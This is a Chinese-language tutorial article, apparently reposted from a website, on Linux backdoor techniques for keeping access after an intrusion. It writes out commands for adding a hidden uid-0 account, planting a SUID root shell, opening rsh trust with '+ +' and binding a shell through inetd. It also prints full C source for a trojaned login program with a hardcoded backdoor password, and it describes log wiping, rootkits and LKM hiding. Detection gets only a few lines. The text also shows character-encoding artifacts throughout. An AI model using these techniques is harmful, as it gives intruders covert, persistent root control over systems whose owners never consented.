Linux后門技術(shù)及實(shí)踐方法談完整版
以下的文章主要描述的是Linux后門技術(shù)及實(shí)踐方法,假如你在實(shí)際操作中遇到Linux后門技術(shù),但是你卻不知道對(duì)Linux后門技術(shù)如何正確的解決,那么以下的文章對(duì)你而言一定是良師益友。以下就是文章的主要內(nèi)容描述。
后門簡(jiǎn)介
入侵者完全控制系統(tǒng)后,為方便下次進(jìn)入而采用的一種技術(shù)。
一般通過(guò)修改系統(tǒng)配置文件和安裝第三方后門工具來(lái)實(shí)現(xiàn)。 具有隱蔽性,能繞開系統(tǒng)日志,不易被系統(tǒng)管理員發(fā)現(xiàn)等特點(diǎn)。
Linux后門技術(shù)
增加超級(jí)用戶賬號(hào)
破解/嗅探用戶密碼
放置SUID Shell
rhosts + +
利用系統(tǒng)服務(wù)程序
TCP/UDP/ICMP Shell
Crontab定時(shí)任務(wù)
共享庫(kù)文件
工具包rootkit
可裝載內(nèi)核模塊(LKM)
增加超級(jí)用戶 # echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
如果系統(tǒng)不允許uid=0的用戶遠(yuǎn)程登錄,還需要增加一個(gè)普通用戶賬號(hào)。
破解/嗅探用戶密碼
獲得shadow文件后,用John the Ripper 工具破解薄弱的用戶密碼。安裝sniffit等嗅探工具,監(jiān)聽(tīng)telnet、ftp等端口,收集用戶密碼。
放置SUID Shell # cp /bin/bash /dev/.rootshell
# chmod u+s /dev/.rootshell
普通用戶在本機(jī)運(yùn)行/dev/.rootshell,即可獲得一個(gè)root權(quán)限的shell。 rhosts + +
# echo "+ +" > /.rhosts
# rsh -l root victim.com csh -i
遠(yuǎn)程可以得到一個(gè)rootshell。
利用系統(tǒng)服務(wù)程序
修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I ;用trojan程序替換in.telnetd、in.rexecd等inted的服務(wù)程序
重定向login程序
TCP/UDP/ICMP Shell
BindShell,大部分是基于TCP/UDP協(xié)議的網(wǎng)絡(luò)服務(wù)程序,在高端口監(jiān)聽(tīng),很容易被發(fā)現(xiàn)。Ping Backdoor,通過(guò)ICMP包激活后門,形成一個(gè)Shell通道。
TCP ACK數(shù)據(jù)包后門,能夠穿越防火墻。
Crontab定時(shí)任務(wù)
Linux后門技術(shù)中通過(guò)Crontab程序調(diào)度已安裝的后門程序定時(shí)運(yùn)行,一般在深夜時(shí)段,是系統(tǒng)管理員不在線的時(shí)間。
共享庫(kù)文件
在共享庫(kù)中嵌入后門函數(shù)使用后門口令激活Shell,獲得權(quán)限能夠躲避系統(tǒng)管理員對(duì)二進(jìn)制文件本身的校驗(yàn)
工具包rootkit
包含一系列系統(tǒng)及后門工具:
清除日志中的登錄記錄
偽裝校驗(yàn)和
替換netstat、ps等網(wǎng)絡(luò)工具
后門登錄程序易于安裝和使用
可裝載內(nèi)核模塊(LKM)
LKM:Loadable Kernel Modules 動(dòng)態(tài)的加載,不需要重新編譯內(nèi)核。
截獲系統(tǒng)調(diào)用,具有隱藏目錄、文件、進(jìn)程、網(wǎng)絡(luò)連接等強(qiáng)大功能。
自身隱蔽性好,發(fā)現(xiàn)難度較大。
著名的LKM包有adore和knark。
后門的檢測(cè)
以自己的經(jīng)驗(yàn),結(jié)合特定的工具,手工作一些檢測(cè)。
使用Tripwire或md5校驗(yàn)來(lái)檢查系統(tǒng)。
借助IDS系統(tǒng),監(jiān)聽(tīng)到目標(biāo)機(jī)器的可疑網(wǎng)絡(luò)連接。
實(shí)例:login后門
入侵者先把原始的/bin/login備份,再用一段程序替換/bin/login。入侵者telnet登錄進(jìn)來(lái)的時(shí)候,通過(guò)環(huán)境變量或者終端類型
傳遞了正確的后門密碼,將直接獲得一個(gè)Shell;如果是普通用戶登錄,將會(huì)重定向到原始的login文件,來(lái)處理正常的登錄。
最簡(jiǎn)單的login后門ulogin.c源代碼如下:
實(shí)例:login后門 #include
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins"
main (argc, argv, envp)
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
if ( display == NULL ) {
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
if (!strcmp(display,PASSWORD)) {
system("/bin/csh");
exit(1);
}
execve(_PATH_LOGIN, argv, envp);
exit(1);
}
以上的相關(guān)內(nèi)容就是對(duì)Linux后門技術(shù)及實(shí)踐方法談完整版的介紹,望你能有所收獲。